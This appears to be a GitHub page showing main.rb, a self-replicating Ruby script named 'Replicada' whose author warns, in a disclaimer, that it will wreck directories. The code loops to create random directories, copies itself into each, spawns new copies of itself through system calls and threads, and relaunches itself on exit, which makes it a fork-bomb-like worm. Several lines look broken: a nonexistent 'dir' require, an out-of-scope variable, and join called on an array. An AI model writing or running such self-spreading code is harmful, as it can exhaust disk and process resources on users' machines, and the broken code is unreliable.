-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathmain.rb
More file actions
55 lines (46 loc) · 1.1 KB
/
main.rb
File metadata and controls
55 lines (46 loc) · 1.1 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
=begin
<DISCLAIMER>
THIS CODE REPLICATES ITSELF AND WILL CREATE NEW DIRECTORIES
PLEASE MIND THAT THIS WOULD FUCK UP YOUR DIRECTORIES, INCLUDING FILES AND FOLDERS
***DO NOT RUN THIS FILE IN ANY IMPORTANT DIRECTORIES***
self-replicating ruby file - Replicada by archisha69
=end
require "fileutils"
require "securerandom"
require "dir"
require "thread"
def subrun()
system("ruby #{File.basename(__FILE__)}")
end
def cp(dest)
FileUtils.cp("#{cwd}/#{File.basename(__FILE__)}", dest)
end
def crossdir()
while $count < 8 do #layers
subrun()
for qwerty in Dir.entries(name) do
cp(qwerty)
FileUtils.cd(qwerty)
subrun()
end
end
end
at_exit do
exec("ruby #{File.basename(__FILE__)}")
end
cwd = FileUtils.pwd()
$count = 0
while $count < 100
#while true
name = SecureRandom.hex
FileUtils.mkdir(name)
FileUtils.cd(name)
FileUtils.cp("../#{File.basename(__FILE__)}", FileUtils.pwd())
t = Thread.new {crossdir()}
t2 = Thread.new {
FileUtils.cd(cwd)
$count += 1
}
threads = [t, t2]
threads.join
end